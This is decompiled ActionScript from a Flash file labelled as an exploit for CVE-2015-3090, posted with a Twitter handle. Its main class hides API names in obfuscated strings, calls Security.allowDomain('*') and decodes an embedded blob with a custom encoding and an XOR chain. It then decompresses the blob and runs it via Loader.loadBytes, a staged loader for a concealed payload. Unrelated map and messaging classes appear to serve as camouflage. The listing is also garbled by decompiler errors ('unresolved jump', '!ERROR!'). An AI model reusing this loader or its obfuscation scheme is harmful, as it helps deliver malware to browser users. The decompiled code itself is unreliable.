Exploit.SWF CVE-2015-3090 Code

package {
    import flash.utils.*;

    public interface Policy {

        public function send(_arg1:Array, _arg2:String=""):void;
        public function receive(_arg1:ByteArray):Array;
        public function socketOptionSupported():Array;

    }
    Policy = [OP_NEWCLASS ClassInfo:0 base:null];
    IIll1III111I11 = [OP_NEWCLASS ClassInfo:1 base:Object];
    II111IIIlllIl1 = [OP_NEWCLASS ClassInfo:2 base:ByteArray];
    ArrayTool = [OP_NEWCLASS ClassInfo:3 base:Object];
    MathTool = [OP_NEWCLASS ClassInfo:4 base:Object];
    ChildTool = [OP_NEWCLASS ClassInfo:5 base:Object];
    Encoding = [OP_NEWCLASS ClassInfo:6 base:Object];
    1I111IIIlllIl1 = [OP_NEWCLASS ClassInfo:7 base:MovieClip];
    PolicyContext = [OP_NEWCLASS ClassInfo:8 base:Object];
    ZMQEvent = [OP_NEWCLASS ClassInfo:9 base:Event];
    Coordinate = [OP_NEWCLASS ClassInfo:10 base:Object];
    Tile = [OP_NEWCLASS ClassInfo:11 base:Sprite];
}//package

import flash.display.*;
import flash.events.*;
import flash.system.*;
import flash.utils.*;
import flash.net.*;

package {
    public class IIll1III111I11 {

        public var Illl1III111I11:String;
        public var lIll1III111I11:String;
        public var llll1III111I11:String;
        public var ))ll1III111I11:String;
        public var _ll1III111I11:String;
        public var +ll1III111I11:String;
        public var 11l11III111I11:String;
        public var 1Il11III1l1I11:String;
        public var I1l11III111I11:String;
        public var IIl11III111I11:String;
        public var Ill11III111I11:String;
        public var lIl11III111I11:String;
        public var lll11III111I11:String;
        public var _l11III111I11:String;
        public var +l11III111I11:String;

        public function IIll1III111I11(){
            this.Illl1III111I11 = "addedToStage";
            this.lIll1III111I11 = "writeByte";
            this.llll1III111I11 = "uncompress";
            this.))ll1III111I11 = "allowDomain";
            this._ll1III111I11 = "currentDomain";
            this.+ll1III111I11 = "length";
            this.11l11III111I11 = "getDefinition";
            this.1Il11III1l1I11 = "flash.display.Loader";
            this.I1l11III111I11 = "flash.utils.ByteArray";
            this.IIl11III111I11 = "stage";
            this.Ill11III111I11 = "addEventListener";
            this.lIl11III111I11 = "removeEventListener";
            this.lll11III111I11 = "enterFrame";
            this._l11III111I11 = "loadBytes";
            this.+l11III111I11 = "addChild";
        }
    }
}//package

package {
    public class II111IIIlllIl1 extends ByteArray {

        public function +lllIII111I11():void{
        }
        public function 11ll1III111I11():int{
            return (0);
        }

    }
}//package

package {
    public class ArrayTool {

        public function ArrayTool():void{
        }
        public static function adjustValues(_arg1:Array, _arg2, _arg3:String="*"):Array{
            var _local4 = [];
            var _local5:String;
            var _local10:* = _arg1;
            var _local9:int;
            //unexpected hasnext2
            if (!NULL!){
                var _local8:String = //unresolved nextvalue or nextname;
                _local5 = _local8;
                var _local6 = _arg3;
                if (_local6 == MathTool.PLUS){
                    _local4[_local5] = (_arg1[_local5] + _arg2);
                } else {
                    if (_local6 == MathTool.MINUS){
                        _local4[_local5] = (_arg1[_local5] - _arg2);
                    } else {
                        if (_local6 == MathTool.MULTIPLICATION){
                            _local4[_local5] = (_arg1[_local5] * _arg2);
                        } else {
                            if (_local6 == MathTool.DIVISION){
                                _local4[_local5] = (_arg1[_local5] / _arg2);
                            } else {
                            };
                        };
                    };
                };
                //unresolved jump
            };
            return (_local4);
        }
        public static function getValueMatchIndex(_arg1:Array, _arg2, _arg3):int{
            if (((((!((_arg2 is Array))) && (!((_arg2 is String))))) && (!((((((_arg2 is uint)) || ((_arg2 is int)))) || ((_arg2 is Number))))))){
                _arg2 = String(_arg2);
            };
            var _local4:Array;
            if ((_arg2 is Array)){
                _local4 = _arg2;
            } else {
                _local4 = [_arg2];
            };
            var _local6 = 0;
            if ((_local6 < _arg1.length)){
                var _local5 = _arg1[_local6];
                var _local7 = 0;
                if ((_local7 < _local4.length)){
                    if (_local5.hasOwnProperty(_local4[_local7])){
                        _local5 = _local5[_local4[_local7]];
                        if ((((_local7 == (_local4.length - 1))) && ((_local5 == _arg3)))){
                            return (_local6);
                        };
                    } else {
                        //unresolved jump
                    };
                    _local7++;
                    //unresolved jump
                };
                _local6++;
                //unresolved jump
            };
            return (-1);
        }
        public static function copy(_arg1:Array):Array{
            var _local2 = [];
            var _local3 = 0;
            if ((_local3 < _arg1.length)){
                _local2[_local3] = _arg1[_local3];
                _local3++;
                //unresolved jump
            };
            return (_local2);
        }

    }
}//package

package {
    public class MathTool {

        public static const PLUS:String = "+add";
        public static const MINUS:String = "-sub";
        public static const MULTIPLICATION:String = "*gMu_ltiplication";
        public static const DIVISION:String = "/div";

        public function MathTool():void{
        }
    }
}//package

package {
    public class ChildTool {

        public function ChildTool():void{
        }
        public static function swapChildren(_arg1:DisplayObject, _arg2:DisplayObject):void{
            var _local3 = _arg1.parent;
            var _local4 = _arg2.parent;
            var _local5 = _local3.getChildIndex(_arg1);
            var _local6 = _local4.getChildIndex(_arg2);
            ChildTool.moveChild(_arg1, _local4, _local6);
            ChildTool.moveChild(_arg2, _local3, _local5);
        }
        public static function moveChild(_arg1:DisplayObject, _arg2:DisplayObjectContainer, _arg3:int=-1):void{
            _arg1.parent.removeChild(_arg1);
            if ((_arg3 == -1)){
                _arg1 = _arg2.addChild(_arg1);
            } else {
                _arg1 = _arg2.addChildAt(_arg1, _arg3);
            };
        }

    }
}//package

package {
    public class Encoding {

        public static function readFrame(_arg1:ByteArray):ByteArray{
            var _local2 = new ByteArray();
            var _local3 = _arg1.readUnsignedByte();
            var _local4 = (((_local3 == 0xFF)) ? true : false);
            if (_local4){
                if (!((_arg1.readUnsignedInt() == 0))){
                    throw (new Error("Incoming DATA Exceeds SIZE Maximum Limit"));
                };
                _local3 = _arg1.readUnsignedInt();
            };
            _local3 = (_local3 - 1);
            var _local5 = (((_arg1.readUnsignedByte() & (1 == 1))) ? true : false);
            if (!((_local3 == 0))){
                _arg1.readBytes(_local2, 0, _local3);
            };
            return (_local2);
        }
        public static function writeFrame(_arg1:ByteArray, _arg2:Boolean=false):ByteArray{
            var _local3 = new ByteArray();
            var _local4 = _arg1.length;
            _local4 = (_local4 + 1);
            if ((_local4 < 0xFF)){
                _local3.writeByte(_local4);
            } else {
                _local3.writeByte(0xFF);
                _local3.writeUnsignedInt(0);
                _local3.writeUnsignedInt(_local4);
            };
            _local3.writeByte(((_arg2) ? 1 : 0));
            _local3.writeBytes(_arg1);
            _local3.position = 0;
            return (_local3);
        }

    }
}//package

package {
    public class 1I111IIIlllIl1 extends MovieClip {

        private var Il111IIIlllIl1;
        private var _lllIII111I11:Class;
        private var 1Ill1III111I11:IIll1III111I11;
        private var _StrPool80:uint = 0;
        private var ll111IIIlllIl1:uint = 0;
        private var ))111IIIlllIl1:uint = 0xFF;
        private var _111IIIlllIl1;
        private var 11lllIII111I11;

        public function 1I111IIIlllIl1(_arg1:Object=null){
            this.1Ill1III111I11 = new IIll1III111I11();
            Security[this.1Ill1III111I11.))ll1III111I11]("*");
            var _local3:* = ApplicationDomain[this.1Ill1III111I11._ll1III111I11];
            var _local4 = (_local3[this.1Ill1III111I11.11l11III111I11](this.1Ill1III111I11.1Il11III1l1I11) as Class);
            this.Il111IIIlllIl1 = new (_local4)();
            this._lllIII111I11 = (_local3[this.1Ill1III111I11.11l11III111I11](this.1Ill1III111I11.I1l11III111I11) as Class);
            if (this[this.1Ill1III111I11.IIl11III111I11]){
                this.11111IIIlllIl1();
            } else {
                this[this.1Ill1III111I11.Ill11III111I11](this.1Ill1III111I11.Illl1III111I11, this.11111IIIlllIl1);
            };
        }
        public function EmptyHandler(_arg1:Object, _arg2:int):void{
            _arg2++;
        }
        private function 11111IIIlllIl1(_arg1:Object=null):void{
            this[this.1Ill1III111I11.lIl11III111I11](this.1Ill1III111I11.Illl1III111I11, this.11111IIIlllIl1);
            this[this.1Ill1III111I11.Ill11III111I11](this.1Ill1III111I11.lll11III111I11, this.I1111IIIlllIl1);
            var _local2:* = new II111IIIlllIl1();
            var _local3:* = new this._lllIII111I11();
            this.1IlllIII111I11();
            this.IIlllIII111I11(_local2, _local2[this.1Ill1III111I11.+ll1III111I11], _local3);
            this.I1lllIII111I11(_local3);
            var _local4:uint = 76;
            var _local5 = 0;
            if ((_local5 < _local3[this.1Ill1III111I11.+ll1III111I11])){
                var _local6:uint = (_local3[_local5] ^ _local4);
                _local4 = _local3[_local5];
                _local3[_local5] = _local6;
                _local5++;
                //unresolved jump
            };
            _local3[this.1Ill1III111I11.llll1III111I11]();
            this.Il111IIIlllIl1[this.1Ill1III111I11._l11III111I11](_local3);
            this[this.1Ill1III111I11.+l11III111I11](this.Il111IIIlllIl1);
            //unresolved jump
            !ERROR!            return;
        }
        private function I1111IIIlllIl1(_arg1):void{
            if ((this.currentFrame == 200)){
                this.I1ll1III111I11(new Number(2));
                return;
            };
        }
        private function 1IlllIII111I11():void{
            this._111IIIlllIl1 = new this._lllIII111I11();
            this.11lllIII111I11 = new this._lllIII111I11();
            var _local2:int;
            _local2 = 65;
            if ((_local2 < 91)){
                this.11lllIII111I11[this.1Ill1III111I11.lIll1III111I11](_local2);
                _local2++;
                //unresolved jump
            };
            _local2 = 97;
            if ((_local2 < 123)){
                this.11lllIII111I11[this.1Ill1III111I11.lIll1III111I11](_local2);
                _local2++;
                //unresolved jump
            };
            _local2 = 48;
            if ((_local2 < 58)){
                this.11lllIII111I11[this.1Ill1III111I11.lIll1III111I11](_local2);
                _local2++;
                //unresolved jump
            };
            _local2 = 33;
            if ((_local2 < 48)){
                if ((((((_local2 == 34)) || ((_local2 == 39)))) || ((_local2 == 45)))){
                } else {
                    this.11lllIII111I11[this.1Ill1III111I11.lIll1III111I11](_local2);
                };
                _local2++;
                //unresolved jump
            };
            _local2 = 58;
            if ((_local2 < 65)){
                this.11lllIII111I11[this.1Ill1III111I11.lIll1III111I11](_local2);
                _local2++;
                //unresolved jump
            };
            _local2 = 91;
            if ((_local2 < 97)){
                if ((_local2 == 92)){
                } else {
                    this.11lllIII111I11[this.1Ill1III111I11.lIll1III111I11](_local2);
                };
                _local2++;
                //unresolved jump
            };
            _local2 = 123;
            if ((_local2 < 127)){
                this.11lllIII111I11[this.1Ill1III111I11.lIll1III111I11](_local2);
                _local2++;
                //unresolved jump
            };
            this.11lllIII111I11[this.1Ill1III111I11.lIll1III111I11](34);
            var _local3:int;
            _local3 = 0;
            if ((_local3 < 0xFF)){
                this._111IIIlllIl1[_local3] = 0xFF;
                _local3++;
                //unresolved jump
            };
            _local3 = 0;
            if ((_local3 < this.11lllIII111I11[this.1Ill1III111I11.+ll1III111I11])){
                this._111IIIlllIl1[this.11lllIII111I11[_local3]] = _local3;
                _local3++;
                //unresolved jump
            };
        }
        public function I1lllIII111I11(_arg1):uint{
            var _local2:uint = 0;
            if (!((this.))111IIIlllIl1 == 0xFF))){
                _arg1[_arg1[this.1Ill1III111I11.+ll1III111I11]] = (this._StrPool80 | (this.))111IIIlllIl1 << this.ll111IIIlllIl1));
                _local2 = (_local2 + 1);
            };
            return (_local2);
        }
        public function IIlllIII111I11(_arg1, _arg2:uint, _arg3):uint{
            var _local4 = 0;
            var _local5:uint = 0;
            var _local6:uint = 8191;
            _local4 = 0;
            if ((_local4 < _arg2)){
                if ((this._111IIIlllIl1[_arg1[_local4]] == 0xFF)){
                } else {
                    if ((this.))111IIIlllIl1 == 0xFF)){
                        this.))111IIIlllIl1 = this._111IIIlllIl1[_arg1[_local4]];
                    } else {
                        this.))111IIIlllIl1 = (this.))111IIIlllIl1 + (this._111IIIlllIl1[_arg1[_local4]] * this.11lllIII111I11[this.1Ill1III111I11.+ll1III111I11]));
                        this._StrPool80 = (this._StrPool80 | (this.))111IIIlllIl1 << this.ll111IIIlllIl1));
                        this.ll111IIIlllIl1 = (this.ll111IIIlllIl1 + ((((this.))111IIIlllIl1 & _local6) > 88)) ? 13 : 14));
                        var _local8 = _local5;
                        _local5 = (_local8 + 1);
                        _arg3[_local8] = (this._StrPool80 & 0xFF);
                        this._StrPool80 = (this._StrPool80 >> 8);
                        this.ll111IIIlllIl1 = (this.ll111IIIlllIl1 - 8);
                        //unresolved if
                        this.))111IIIlllIl1 = 0xFF;
                    };
                };
                _local4++;
                //unresolved jump
            };
            return (_local5);
        }

    }
}//package

package {
    public class PolicyContext implements Policy {

        private var socket:Socket;
        private var getOption:Function;
        private var policies:Dictionary;
        private var activePolicy:Policy;

        public function PolicyContext(_arg1:Socket, _arg2:Function){
            this.socket = _arg1;
            this.getOption = _arg2;
            this.policies = new Dictionary();
        }
        public function activatePolicy(_arg1:String):void{
            this.activePolicy = new (this.policies[_arg1] as Class)(this.socket, this.getOption);
        }
        public function addPolicy(_arg1:String, _arg2:Class):PolicyContext{
            this.policies[_arg1] = _arg2;
            return (this);
        }
        public function socketOptionSupported():Array{
            return (this.activePolicy.socketOptionSupported());
        }
        public function send(_arg1:Array, _arg2:String=""):void{
            this.activePolicy.send(_arg1, _arg2);
        }
        public function receive(_arg1:ByteArray):Array{
            return (this.activePolicy.receive(_arg1));
        }

    }
}//package

package {
    public class ZMQEvent extends Event {

        public static const MESSAGE_RECEIVED:String = "messageReceived";

        private var _data:Array;

        public function ZMQEvent(_arg1:String, _arg2:Array=null){
            this._data = _arg2;
            super(_arg1, true, false);
        }
        public function get data():Array{
            return (this._data);
        }
        override public function clone():Event{
            return (new ZMQEvent(this.type, this.data));
        }

    }
}//package

package {
    public class Coordinate {

        public var row:Number;
        public var column:Number;
        public var zoom:Number;

        public function Coordinate(_arg1:Number, _arg2:Number, _arg3:Number){
            this.row = _arg1;
            this.column = _arg2;
            this.zoom = _arg3;
        }
        public function toString():String{
            return ((((((("(" + this.row) + ",") + this.column) + " @") + this.zoom) + ")"));
        }
        public function copy():Coordinate{
            return (new Coordinate(this.row, this.column, this.zoom));
        }
        public function container():Coordinate{
            return (new Coordinate(Math.floor(this.row), Math.floor(this.column), this.zoom));
        }
        public function zoomTo(_arg1:Number):Coordinate{
            return (new Coordinate((this.row * Math.pow(2, (_arg1 - this.zoom))), (this.column * Math.pow(2, (_arg1 - this.zoom))), _arg1));
        }
        public function zoomBy(_arg1:Number):Coordinate{
            return (new Coordinate((this.row * Math.pow(2, _arg1)), (this.column * Math.pow(2, _arg1)), (this.zoom + _arg1)));
        }
        public function isRowEdge():Boolean{
            return ((Math.round(this.row) == this.row));
        }
        public function isColumnEdge():Boolean{
            return ((Math.round(this.column) == this.column));
        }
        public function isEdge():Boolean{
            return (((this.isRowEdge()) && (this.isColumnEdge())));
        }
        public function up(_arg1:Number=1):Coordinate{
            return (new Coordinate((this.row - _arg1), this.column, this.zoom));
        }
        public function right(_arg1:Number=1):Coordinate{
            return (new Coordinate(this.row, (this.column + _arg1), this.zoom));
        }
        public function down(_arg1:Number=1):Coordinate{
            return (new Coordinate((this.row + _arg1), this.column, this.zoom));
        }
        public function left(_arg1:Number=1):Coordinate{
            return (new Coordinate(this.row, (this.column - _arg1), this.zoom));
        }
        public function equalTo(_arg1:Coordinate):Boolean{
            return (((((((_arg1) && ((_arg1.row == this.row)))) && ((_arg1.column == this.column)))) && ((_arg1.zoom == this.zoom))));
        }

    }
}//package

package {
    public class Tile extends Sprite {

        public static var count:int = 0;

        public var zoom:int;
        public var row:int;
        public var column:int;

        public function Tile(_arg1:int, _arg2:int, _arg3:int){
            this.init(_arg1, _arg2, _arg3);
            this.cacheAsBitmap = false;
            count = (count + 1);
        }
        public function init(_arg1:int, _arg2:int, _arg3:int):void{
            this.zoom = _arg3;
            this.row = _arg2;
            this.column = _arg1;
            this.hide();
        }
        public function destroy():void{
            for (;(this.numChildren > 0);) {
                var _local1 = this.removeChildAt(0);
                //unresolved if
                Loader(_local1).unload();
                continue;
                !ERROR!            };
            this.graphics.clear();
        }
        public function isShowing():Boolean{
            return ((this.alpha == 1));
        }
        public function showNow():void{
            this.alpha = 1;
        }
        public function show():void{
            this.alpha = 1;
        }
        public function hide():void{
            this.alpha = 0;
        }

    }
}//package

"twitter.com/physicaldrive0"